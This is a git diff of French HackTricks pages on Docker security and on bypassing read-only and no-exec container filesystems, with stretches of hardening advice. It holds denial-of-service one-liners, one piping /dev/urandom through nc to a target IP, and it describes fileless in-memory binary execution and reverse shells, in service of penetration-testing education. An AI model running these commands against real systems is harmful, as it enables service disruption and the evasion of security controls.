Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
|
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -29,7 +29,7 @@ Dans les vidéos suivantes, vous trouverez les techniques mentionnées sur cette
|
||||||
|
|
||||||
## Scénario lecture seule / pas d'exécution
|
## Scénario lecture seule / pas d'exécution
|
||||||
|
|
||||||
Il est de plus en plus courant de trouver des machines Linux montées avec une protection de système de fichiers en **lecture seule (ro)**, notamment dans les conteneurs. Cela est dû au fait qu'il est facile d'exécuter un conteneur avec un système de fichiers en ro en définissant simplement **`readOnlyRootFilesystem: true`** dans le `securitycontext` :
|
Il est de plus en plus courant de trouver des machines Linux montées avec une protection de système de fichiers en **lecture seule (ro)**, notamment dans les conteneurs. Cela est dû au fait qu'il est aussi facile de lancer un conteneur avec un système de fichiers en ro qu'en définissant **`readOnlyRootFilesystem: true`** dans le `securitycontext` :
|
||||||
|
|
||||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||||
kind: Pod
|
kind: Pod
|
||||||
|
@ -44,7 +44,7 @@ securityContext:
|
||||||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
Cependant, même si le système de fichiers est monté en ro, **`/dev/shm`** restera inscriptible, donc en réalité, nous pouvons écrire sur le disque. Cependant, ce dossier sera **monté avec une protection no-exec**, donc si vous téléchargez un binaire ici, vous **ne pourrez pas l'exécuter**.
|
Cependant, même si le système de fichiers est monté en ro, **`/dev/shm`** restera inscriptible, donc il est faux de dire que nous ne pouvons rien écrire sur le disque. Cependant, ce dossier sera **monté avec une protection no-exec**, donc si vous téléchargez un binaire ici, vous **ne pourrez pas l'exécuter**.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
D'un point de vue d'équipe rouge, cela rend **compliqué le téléchargement et l'exécution** de binaires qui ne sont pas déjà présents dans le système (comme des portes dérobées ou des outils d'énumération comme `kubectl`).
|
D'un point de vue d'équipe rouge, cela rend **compliqué le téléchargement et l'exécution** de binaires qui ne sont pas déjà présents dans le système (comme des portes dérobées ou des outils d'énumération comme `kubectl`).
|
||||||
|
@ -52,17 +52,17 @@ D'un point de vue d'équipe rouge, cela rend **compliqué le téléchargement et
|
||||||
|
|
||||||
## Contournement le plus simple : Scripts
|
## Contournement le plus simple : Scripts
|
||||||
|
|
||||||
Notez que j'ai mentionné les binaires, vous pouvez **exécuter n'importe quel script** tant que l'interpréteur est présent dans la machine, comme un **script shell** si `sh` est présent ou un **script Python** si `python` est installé.
|
Notez que j'ai mentionné les binaires, vous pouvez **exécuter n'importe quel script** tant que l'interpréteur est présent dans la machine, comme un **script shell** si `sh` est présent ou un **script python** si `python` est installé.
|
||||||
|
|
||||||
Cependant, cela ne suffit pas pour exécuter votre porte dérobée binaire ou d'autres outils binaires dont vous pourriez avoir besoin d'exécuter.
|
Cependant, cela ne suffit pas pour exécuter votre porte dérobée binaire ou d'autres outils binaires dont vous pourriez avoir besoin d'exécuter.
|
||||||
|
|
||||||
## Contournements de la mémoire
|
## Contournements de la mémoire
|
||||||
|
|
||||||
Si vous souhaitez exécuter un binaire mais que le système de fichiers ne le permet pas, la meilleure façon de le faire est en l'exécutant depuis la mémoire, car les **protections ne s'appliquent pas là**.
|
Si vous souhaitez exécuter un binaire mais que le système de fichiers ne le permet pas, la meilleure façon de le faire est en l'exécutant à partir de la mémoire, car les **protections ne s'appliquent pas là**.
|
||||||
|
|
||||||
### Contournement de l'appel système FD + exec
|
### Contournement de l'appel système FD + exec
|
||||||
|
|
||||||
Si vous disposez de moteurs de script puissants dans la machine, tels que **Python**, **Perl** ou **Ruby**, vous pourriez télécharger le binaire à exécuter depuis la mémoire, le stocker dans un descripteur de fichier en mémoire (`create_memfd` syscall), qui ne sera pas protégé par ces protections, puis appeler un **appel système `exec`** en indiquant le **fd comme fichier à exécuter**.
|
Si vous disposez de moteurs de script puissants dans la machine, tels que **Python**, **Perl** ou **Ruby**, vous pourriez télécharger le binaire à exécuter en mémoire, le stocker dans un descripteur de fichier en mémoire (`create_memfd` syscall), qui ne sera pas protégé par ces protections, puis appeler un **appel système `exec`** en indiquant le **fd comme fichier à exécuter**.
|
||||||
|
|
||||||
Pour cela, vous pouvez facilement utiliser le projet [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Vous pouvez lui passer un binaire et il générera un script dans le langage indiqué avec le **binaire compressé et encodé en b64** avec les instructions pour **le décoder et le décompresser** dans un **fd** créé en appelant la syscall `create_memfd` et un appel à l'appel système **exec** pour l'exécuter.
|
Pour cela, vous pouvez facilement utiliser le projet [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Vous pouvez lui passer un binaire et il générera un script dans le langage indiqué avec le **binaire compressé et encodé en b64** avec les instructions pour **le décoder et le décompresser** dans un **fd** créé en appelant la syscall `create_memfd` et un appel à l'appel système **exec** pour l'exécuter.
|
||||||
|
|
||||||
|
@ -79,7 +79,7 @@ De plus, la création d'un **fd régulier** avec un fichier dans `/dev/shm` ne f
|
||||||
Par conséquent, en **contrôlant le code assembleur** qui est exécuté par le processus, vous pouvez écrire un **shellcode** et "muter" le processus pour **exécuter n'importe quel code arbitraire**.
|
Par conséquent, en **contrôlant le code assembleur** qui est exécuté par le processus, vous pouvez écrire un **shellcode** et "muter" le processus pour **exécuter n'importe quel code arbitraire**.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**DDexec / EverythingExec** vous permettra de charger et d'**exécuter** votre propre **shellcode** ou **n'importe quel binaire** depuis la **mémoire**.
|
**DDexec / EverythingExec** vous permettra de charger et d'**exécuter** votre propre **shellcode** ou **n'importe quel binaire** à partir de la **mémoire**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```bash
|
```bash
|
||||||
# Basic example
|
# Basic example
|
||||||
|
@ -93,13 +93,13 @@ Pour plus d'informations sur cette technique, consultez le Github ou :
|
||||||
|
|
||||||
### MemExec
|
### MemExec
|
||||||
|
|
||||||
[**Memexec**](https://github.com/arget13/memexec) est la prochaine étape naturelle de DDexec. C'est un **démon de shellcode DDexec**, donc chaque fois que vous voulez **exécuter un binaire différent**, vous n'avez pas besoin de relancer DDexec, vous pouvez simplement exécuter le shellcode memexec via la technique DDexec et ensuite **communiquer avec ce démon pour transmettre de nouveaux binaires à charger et exécuter**.
|
[**Memexec**](https://github.com/arget13/memexec) est la prochaine étape naturelle de DDexec. C'est un **shellcode demonisé DDexec**, donc chaque fois que vous voulez **exécuter un binaire différent**, vous n'avez pas besoin de relancer DDexec, vous pouvez simplement exécuter le shellcode memexec via la technique DDexec et ensuite **communiquer avec ce démon pour transmettre de nouveaux binaires à charger et exécuter**.
|
||||||
|
|
||||||
Vous pouvez trouver un exemple de l'utilisation de **memexec pour exécuter des binaires à partir d'un shell PHP inversé** dans [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
Vous pouvez trouver un exemple de l'utilisation de **memexec pour exécuter des binaires à partir d'un shell PHP inversé** dans [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||||
|
|
||||||
### Memdlopen
|
### Memdlopen
|
||||||
|
|
||||||
Avec un objectif similaire à DDexec, la technique [**memdlopen**](https://github.com/arget13/memdlopen) permet un **moyen plus facile de charger des binaires** en mémoire pour les exécuter ultérieurement. Cela pourrait même permettre de charger des binaires avec des dépendances.
|
Dans un but similaire à DDexec, la technique [**memdlopen**](https://github.com/arget13/memdlopen) permet une **manière plus facile de charger des binaires** en mémoire pour les exécuter ultérieurement. Cela pourrait même permettre de charger des binaires avec des dépendances.
|
||||||
|
|
||||||
## Contournement de Distroless
|
## Contournement de Distroless
|
||||||
|
|
||||||
|
@ -117,7 +117,7 @@ Dans un conteneur Distroless, vous pourriez **ne pas trouver même `sh` ou `bash
|
||||||
Par conséquent, vous **ne pourrez pas** obtenir un **shell inversé** ou **énumérer** le système comme vous le faites habituellement.
|
Par conséquent, vous **ne pourrez pas** obtenir un **shell inversé** ou **énumérer** le système comme vous le faites habituellement.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Cependant, si le conteneur compromis exécute par exemple une application web Flask, alors Python est installé, et donc vous pouvez obtenir un **shell Python inversé**. S'il exécute Node, vous pouvez obtenir un shell Node, et de même avec la plupart des **langages de script**.
|
Cependant, si le conteneur compromis exécute par exemple une application web flask, alors Python est installé, et donc vous pouvez obtenir un **shell Python inversé**. S'il exécute node, vous pouvez obtenir un shell Node, et de même avec la plupart des **langages de script**.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
En utilisant le langage de script, vous pourriez **énumérer le système** en utilisant les capacités du langage.
|
En utilisant le langage de script, vous pourriez **énumérer le système** en utilisant les capacités du langage.
|
||||||
|
@ -131,7 +131,7 @@ Cependant, dans ce type de conteneurs, ces protections existent généralement,
|
||||||
|
|
||||||
Vous pouvez trouver des **exemples** sur la façon d'**exploiter certaines vulnérabilités RCE** pour obtenir des **shells inversés de langages de script** et exécuter des binaires en mémoire dans [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
Vous pouvez trouver des **exemples** sur la façon d'**exploiter certaines vulnérabilités RCE** pour obtenir des **shells inversés de langages de script** et exécuter des binaires en mémoire dans [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_).
|
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_).
|
||||||
|
|
||||||
|
|
|
@ -14,11 +14,11 @@ Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Obtenez un accès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -49,7 +49,7 @@ Des certificats sont utilisés pour confirmer l'identité d'un serveur. Pour des
|
||||||
Les images de conteneurs peuvent être stockées dans des référentiels privés ou publics. Docker propose plusieurs options de stockage pour les images de conteneurs :
|
Les images de conteneurs peuvent être stockées dans des référentiels privés ou publics. Docker propose plusieurs options de stockage pour les images de conteneurs :
|
||||||
|
|
||||||
* [**Docker Hub**](https://hub.docker.com) : Un service de registre public de Docker.
|
* [**Docker Hub**](https://hub.docker.com) : Un service de registre public de Docker.
|
||||||
* [**Docker Registry**](https://github.com/docker/distribution) : Un projet open-source permettant aux utilisateurs d'héberger leur propre registre.
|
* [**Docker Registry**](https://github.com/docker/distribution) : Un projet open source permettant aux utilisateurs d'héberger leur propre registre.
|
||||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry) : Offre commerciale de Docker, proposant une authentification des utilisateurs basée sur les rôles et une intégration avec les services d'annuaire LDAP.
|
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry) : Offre commerciale de Docker, proposant une authentification des utilisateurs basée sur les rôles et une intégration avec les services d'annuaire LDAP.
|
||||||
|
|
||||||
### Analyse d'images
|
### Analyse d'images
|
||||||
|
@ -109,7 +109,7 @@ Lorsque vous passez d'un hôte Docker à un autre, il est nécessaire de déplac
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser les workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
@ -128,19 +128,19 @@ Dans les environnements conteneurisés, isoler les projets et leurs processus es
|
||||||
|
|
||||||
* **Objectif** : Assurer l'isolation des ressources telles que les processus, le réseau et les systèmes de fichiers. En particulier dans Docker, les espaces de noms maintiennent les processus d'un conteneur séparés de l'hôte et des autres conteneurs.
|
* **Objectif** : Assurer l'isolation des ressources telles que les processus, le réseau et les systèmes de fichiers. En particulier dans Docker, les espaces de noms maintiennent les processus d'un conteneur séparés de l'hôte et des autres conteneurs.
|
||||||
* **Utilisation de `unshare`** : La commande `unshare` (ou l'appel système sous-jacent) est utilisée pour créer de nouveaux espaces de noms, offrant une couche supplémentaire d'isolation. Cependant, bien que Kubernetes ne bloque pas cela de manière inhérente, Docker le fait.
|
* **Utilisation de `unshare`** : La commande `unshare` (ou l'appel système sous-jacent) est utilisée pour créer de nouveaux espaces de noms, offrant une couche supplémentaire d'isolation. Cependant, bien que Kubernetes ne bloque pas cela de manière inhérente, Docker le fait.
|
||||||
* **Limitation** : Créer de nouveaux espaces de noms n'autorise pas un processus à revenir aux espaces de noms par défaut de l'hôte. Pour pénétrer les espaces de noms de l'hôte, on aurait généralement besoin d'accéder au répertoire `/proc` de l'hôte, en utilisant `nsenter` pour entrer.
|
* **Limitation** : La création de nouveaux espaces de noms n'autorise pas un processus à revenir aux espaces de noms par défaut de l'hôte. Pour pénétrer les espaces de noms de l'hôte, on aurait généralement besoin d'accéder au répertoire `/proc` de l'hôte, en utilisant `nsenter` pour entrer.
|
||||||
|
|
||||||
**Groupes de contrôle (CGroups)**
|
**Groupes de contrôle (CGroups)**
|
||||||
|
|
||||||
* **Fonction** : Principalement utilisé pour allouer des ressources entre les processus.
|
* **Fonction** : Principalement utilisé pour allouer des ressources entre les processus.
|
||||||
* **Aspect de sécurité** : Les CGroups eux-mêmes ne garantissent pas la sécurité de l'isolation, sauf pour la fonction `release_agent`, qui, si mal configurée, pourrait potentiellement être exploitée pour un accès non autorisé.
|
* **Aspect de sécurité** : Les CGroups eux-mêmes n'offrent pas de sécurité d'isolation, sauf pour la fonction `release_agent`, qui, si mal configurée, pourrait potentiellement être exploitée pour un accès non autorisé.
|
||||||
|
|
||||||
**Abandon de capacité (Capability Drop)**
|
**Abandon de capacité (Capability Drop)**
|
||||||
|
|
||||||
* **Importance** : Il s'agit d'une fonctionnalité de sécurité cruciale pour l'isolation des processus.
|
* **Importance** : Il s'agit d'une fonctionnalité de sécurité cruciale pour l'isolation des processus.
|
||||||
* **Fonctionnalité** : Il restreint les actions qu'un processus root peut effectuer en abandonnant certaines capacités. Même si un processus s'exécute avec des privilèges root, le manque des capacités nécessaires l'empêche d'exécuter des actions privilégiées, car les appels système échoueront en raison de permissions insuffisantes.
|
* **Fonctionnalité** : Il restreint les actions qu'un processus root peut effectuer en abandonnant certaines capacités. Même si un processus s'exécute avec des privilèges root, le manque des capacités nécessaires l'empêche d'exécuter des actions privilégiées, car les appels système échoueront en raison de permissions insuffisantes.
|
||||||
|
|
||||||
Voici les **capacités restantes** après que le processus a abandonné les autres :
|
Ce sont les **capacités restantes** après que le processus a abandonné les autres :
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```
|
```
|
||||||
|
@ -150,14 +150,14 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
||||||
|
|
||||||
**Seccomp**
|
**Seccomp**
|
||||||
|
|
||||||
Il est activé par défaut dans Docker. Cela aide à **limiter encore plus les appels système** que le processus peut appeler.\
|
Il est activé par défaut dans Docker. Il aide à **limiter encore plus les appels système** que le processus peut appeler.\
|
||||||
Le **profil Seccomp par défaut de Docker** peut être trouvé dans [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
Le **profil Seccomp par défaut de Docker** peut être trouvé dans [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||||
|
|
||||||
**AppArmor**
|
**AppArmor**
|
||||||
|
|
||||||
Docker dispose d'un modèle que vous pouvez activer : [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
Docker a un modèle que vous pouvez activer : [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||||
|
|
||||||
Cela permet de réduire les capacités, les appels système, l'accès aux fichiers et dossiers...
|
Cela permettra de réduire les capacités, les appels système, l'accès aux fichiers et dossiers...
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -181,7 +181,7 @@ Pour **plus d'informations sur les espaces de noms**, consultez la page suivante
|
||||||
|
|
||||||
### cgroups
|
### cgroups
|
||||||
|
|
||||||
La fonctionnalité du noyau Linux **cgroups** permet de **restreindre les ressources telles que le CPU, la mémoire, l'E/S, la bande passante réseau parmi** un ensemble de processus. Docker permet de créer des conteneurs en utilisant la fonctionnalité cgroup qui permet le contrôle des ressources pour le conteneur spécifique.\
|
La fonctionnalité du noyau Linux **cgroups** fournit la capacité de **restreindre les ressources telles que le CPU, la mémoire, l'E/S, la bande passante réseau parmi** un ensemble de processus. Docker permet de créer des conteneurs en utilisant la fonctionnalité cgroup qui permet le contrôle des ressources pour le conteneur spécifique.\
|
||||||
Voici un conteneur créé avec une mémoire d'espace utilisateur limitée à 500m, une mémoire noyau limitée à 50m, une part de CPU à 512, un poids de blkioweight à 400. La part de CPU est un ratio qui contrôle l'utilisation du CPU du conteneur. Il a une valeur par défaut de 1024 et une plage entre 0 et 1024. Si trois conteneurs ont la même part de CPU de 1024, chaque conteneur peut utiliser jusqu'à 33% du CPU en cas de contention des ressources CPU. blkio-weight est un ratio qui contrôle l'E/S du conteneur. Il a une valeur par défaut de 500 et une plage entre 10 et 1000.
|
Voici un conteneur créé avec une mémoire d'espace utilisateur limitée à 500m, une mémoire noyau limitée à 50m, une part de CPU à 512, un poids de blkioweight à 400. La part de CPU est un ratio qui contrôle l'utilisation du CPU du conteneur. Il a une valeur par défaut de 1024 et une plage entre 0 et 1024. Si trois conteneurs ont la même part de CPU de 1024, chaque conteneur peut utiliser jusqu'à 33% du CPU en cas de contention des ressources CPU. blkio-weight est un ratio qui contrôle l'E/S du conteneur. Il a une valeur par défaut de 500 et une plage entre 10 et 1000.
|
||||||
```
|
```
|
||||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||||
|
@ -226,9 +226,9 @@ Il s'agit d'une fonctionnalité de sécurité qui permet à Docker de **limiter
|
||||||
|
|
||||||
### SELinux dans Docker
|
### SELinux dans Docker
|
||||||
|
|
||||||
* **Système d'étiquetage** : SELinux attribue une étiquette unique à chaque processus et objet de système de fichiers.
|
* **Système d'étiquetage** : SELinux attribue une étiquette unique à chaque processus et objet du système de fichiers.
|
||||||
* **Application des politiques** : Il applique des politiques de sécurité définissant les actions qu'une étiquette de processus peut effectuer sur d'autres étiquettes dans le système.
|
* **Application des politiques** : Il applique des politiques de sécurité définissant les actions qu'une étiquette de processus peut effectuer sur d'autres étiquettes dans le système.
|
||||||
* **Étiquettes de processus de conteneur** : Lorsque les moteurs de conteneurs initient des processus de conteneurs, ils sont généralement attribués une étiquette SELinux confinée, couramment `container_t`.
|
* **Étiquettes de processus de conteneur** : Lorsque les moteurs de conteneurs lancent des processus de conteneurs, ils se voient généralement attribuer une étiquette SELinux confinée, couramment `container_t`.
|
||||||
* **Étiquetage des fichiers dans les conteneurs** : Les fichiers à l'intérieur du conteneur sont généralement étiquetés `container_file_t`.
|
* **Étiquetage des fichiers dans les conteneurs** : Les fichiers à l'intérieur du conteneur sont généralement étiquetés `container_file_t`.
|
||||||
* **Règles de politique** : La politique SELinux garantit principalement que les processus avec l'étiquette `container_t` ne peuvent interagir (lire, écrire, exécuter) qu'avec des fichiers étiquetés `container_file_t`.
|
* **Règles de politique** : La politique SELinux garantit principalement que les processus avec l'étiquette `container_t` ne peuvent interagir (lire, écrire, exécuter) qu'avec des fichiers étiquetés `container_file_t`.
|
||||||
|
|
||||||
|
@ -240,12 +240,12 @@ Ce mécanisme garantit que même si un processus à l'intérieur d'un conteneur
|
||||||
|
|
||||||
### AuthZ & AuthN
|
### AuthZ & AuthN
|
||||||
|
|
||||||
Dans Docker, un plugin d'autorisation joue un rôle crucial en matière de sécurité en décidant d'autoriser ou de bloquer les demandes au démon Docker. Cette décision est prise en examinant deux contextes clés :
|
Dans Docker, un plugin d'autorisation joue un rôle crucial en matière de sécurité en décidant d'autoriser ou de bloquer les demandes adressées au démon Docker. Cette décision est prise en examinant deux contextes clés :
|
||||||
|
|
||||||
* **Contexte d'authentification** : Cela inclut des informations complètes sur l'utilisateur, telles que son identité et la manière dont il s'est authentifié.
|
* **Contexte d'authentification** : Il inclut des informations complètes sur l'utilisateur, telles que son identité et la manière dont il s'est authentifié.
|
||||||
* **Contexte de commande** : Il comprend toutes les données pertinentes liées à la demande effectuée.
|
* **Contexte de commande** : Il comprend toutes les données pertinentes liées à la demande effectuée.
|
||||||
|
|
||||||
Ces contextes garantissent que seules les demandes légitimes d'utilisateurs authentifiés sont traitées, renforçant la sécurité des opérations Docker.
|
Ces contextes aident à garantir que seules les demandes légitimes d'utilisateurs authentifiés sont traitées, renforçant ainsi la sécurité des opérations Docker.
|
||||||
|
|
||||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||||
|
@ -263,7 +263,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
|
||||||
# While loop
|
# While loop
|
||||||
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
||||||
```
|
```
|
||||||
* **Déni de service de bande passante**
|
* Déni de service de bande passante
|
||||||
```bash
|
```bash
|
||||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||||
```
|
```
|
||||||
|
@ -343,35 +343,84 @@ Dans les environnements Kubernetes, les secrets sont nativement pris en charge e
|
||||||
|
|
||||||
### gVisor
|
### gVisor
|
||||||
|
|
||||||
**gVisor** est un noyau d'application, écrit en Go, qui implémente une partie substantielle de la surface du système Linux. Il inclut un exécuteur [Open Container Initiative (OCI)](https://www.opencontainers.org) appelé `runsc` qui fournit une **frontière d'isolation entre l'application et le noyau hôte**. L'exécuteur `runsc` s'intègre à Docker et Kubernetes, facilitant l'exécution de conteneurs sandbox.
|
**gVisor** est un noyau d'application, écrit en Go, qui implémente une partie substantielle de la surface du système Linux. Il inclut un runtime de l'**Open Container Initiative (OCI)** appelé `runsc` qui fournit une **frontière d'isolation entre l'application et le noyau hôte**. Le runtime `runsc` s'intègre avec Docker et Kubernetes, facilitant l'exécution de conteneurs sandbox.
|
||||||
|
|
||||||
{% embed url="https://github.com/google/gvisor" %}
|
{% embed url="https://github.com/google/gvisor" %}
|
||||||
|
|
||||||
### Kata Containers
|
### Kata Containers
|
||||||
|
|
||||||
**Kata Containers** est une communauté open source travaillant à construire un exécuteur de conteneurs sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais offrent une **isolation de charge de travail plus forte en utilisant la technologie de virtualisation matérielle** comme une deuxième couche de défense.
|
**Kata Containers** est une communauté open source travaillant à construire un runtime de conteneur sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais offrent une **isolation de charge de travail plus forte en utilisant la technologie de virtualisation matérielle** comme une deuxième couche de défense.
|
||||||
|
|
||||||
{% embed url="https://katacontainers.io/" %}
|
{% embed url="https://katacontainers.io/" %}
|
||||||
|
|
||||||
### Conseils Résumés
|
### Conseils Résumés
|
||||||
|
|
||||||
* **Ne pas utiliser le drapeau `--privileged` ou monter un** [**socket Docker à l'intérieur du conteneur**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Le socket Docker permet de lancer des conteneurs, c'est donc un moyen facile de prendre le contrôle total de l'hôte, par exemple, en exécutant un autre conteneur avec le drapeau `--privileged`.
|
* **Ne pas utiliser le drapeau `--privileged` ou monter un** [**socket Docker à l'intérieur du conteneur**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Le socket Docker permet de lancer des conteneurs, c'est donc un moyen facile de prendre le contrôle total de l'hôte, par exemple, en exécutant un autre conteneur avec le drapeau `--privileged`.
|
||||||
* Ne **pas exécuter en tant que root à l'intérieur du conteneur. Utiliser un** [**utilisateur différent**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **et les** [**espaces de noms utilisateur**](https://docs.docker.com/engine/security/userns-remap/)**.** Le root dans le conteneur est le même que sur l'hôte sauf s'il est remappé avec les espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups.
|
* Ne pas exécuter en tant que root à l'intérieur du conteneur. Utiliser un [**utilisateur différent**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) et les [**espaces de noms utilisateur**](https://docs.docker.com/engine/security/userns-remap/). Le root dans le conteneur est le même que sur l'hôte sauf s'il est remappé avec les espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups.
|
||||||
* [**Supprimer toutes les capacités**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) et n'activer que celles qui sont nécessaires** (`--cap-add=...`). Beaucoup de charges de travail ne nécessitent aucune capacité et les ajouter augmente la portée d'une attaque potentielle.
|
* [**Supprimer toutes les capacités**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) et n'activer que celles qui sont nécessaires** (`--cap-add=...`). Beaucoup de charges de travail n'ont pas besoin de capacités et les ajouter augmente la portée d'une attaque potentielle.
|
||||||
* [**Utiliser l'option de sécurité “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus de gagner plus de privilèges, par exemple via des binaires suid.
|
* [**Utiliser l'option de sécurité “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus de gagner plus de privilèges, par exemple via des binaires suid.
|
||||||
* [**Limitez les ressources disponibles pour le conteneur**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Les limites de ressources peuvent protéger la machine contre les attaques de déni de service.
|
* [**Limitez les ressources disponibles pour le conteneur**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Les limites de ressources peuvent protéger la machine contre les attaques de déni de service.
|
||||||
* **Ajuster les profils** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis.
|
